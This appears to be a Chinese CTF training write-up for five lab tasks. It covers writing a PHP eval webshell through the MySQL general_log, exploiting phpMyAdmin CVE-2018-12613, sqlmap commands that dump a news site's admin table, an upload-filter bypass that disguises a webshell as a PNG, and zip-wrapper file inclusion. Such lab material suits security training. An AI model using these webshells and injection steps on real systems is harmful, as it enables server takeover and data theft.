目录
实训任务1 漏洞攻击实战一
打开靶机先扫一波端口,地址文件
看地址里有管理员登陆和数据库管理员登录,通过弱口令爆破进入数据看后台
接着尝试利用日志文件来进行 getshell,sql后台先想到数据库日志是否开启,能不能传入一句哈木马,一开始发现日志没有打开,可以执行“set global general_log = "ON";”开启 mysql 日志功能,再次确认日志功能是否开启。
之后执行 sql 语句“select ‘<?php @eval($_POST[1]);?>’”,向日志文件中写入 php 一句话木马。但由于在linux中mysql数据库的日志与web目录的用户权限是分开的,我们此时还无法通过目录地址访问该日志文件。所以需要修改日志存储位置,在地址扫描里看见了一个info.php进去发现绝对路径,我们开始修改。
执行:“set global general_log_file=' C:/phpStudy/PHPTutorial/www/shell.php';”将日志文件的存储路径改为站点根目录下的 shell.php 文件。紧接着重新写入php一句话木马。访问传入木马的地址
发现传入成功拿webshell工具连接。
实训任务2 漏洞攻击实战二
打开靶机先扫一波端口,地址文件(同上)
发现一个有意思的压缩包,下载下来是www的文件,我们从config.php里开源找到数据库管理员的登录用户名和密码
进入到数据库后台,查看到数据库版本信息,找寻版本漏洞
发现是CVE-2018-12613漏洞
在 SQL 语句执行处执行SELECT “ <?php file_put_contents('shell.php','<?php @eval($_POST[1]);?>');?>” ,这句话的含义为向 shell.php 文件中写入一句话木马(但发现并没有真正传入木马)根据漏洞利用原理,我们可以通过sessionID(phpmyadmin的session会保存近期执行过的sql语句)以及PHP会自动urldecode一次加百分号的参数,提交%253f(?的urlencode的urlencode)的时候自动转成%3f,满足该版本软件的白名单条件不会被后台过滤掉,此时%253f/就会被认为是一个目录,从而include。即? -> %3f -> %253f。
所以构建payload:
使用webshell管理工具连接创建的shell.php文件,控制服务器
实训任务3 白云新闻搜索
打开发现过滤sql注入字符
但是关闭js功能块就能执行正常注入
手注挨个输比较烦,sqlmap梭
sqlmap -u “http://192.168.210.118:80/” --data=“word=%abc&number=5” --dbs
sqlmap -u “http://192.168.210.118:80/” --data=“word=%abc&number=5” -D news --tables
sqlmap -u “http://192.168.210.118:80/” --data=“word=%abc&number=5” -D news -T admin --dump
直接出flag
实训任务4 手速要快
打开靶场根据题目提示,发现密码就在网络数据包中,登录上去
发现上传功能,直接传一句话发现传不上去,将php打包成png文件传入就传进去了
简单的webshell连接
找到flag
实训任务5 包罗万象
题目描述:有一天,小吉发现在网上寻找好用的网盘,这时候他发现了这么一个网站。
这个是一个文件包含和文件上传结合的漏洞
首先根据url中url=发现有文件包含漏洞,然后有上传,但是无法上传php文件但发现可以上传zip文件,所以就可以利用zip伪协议进行文件上传解析
发现文件是正常上传的,并且知道了路径,直接看一下文件
发现zip后面有.php拼接,直接用#浏览器不会识别,所以编码一下用%23代替,到时候会把#后面的字符当作锚点,请求时不会带上#以后的字符。所以现在写一个一句话木马的php,然后打包成压缩包上传
直接构建payload:
%23后面的aa是你打包前木马的名称
所以直接连接就行了
拿到falg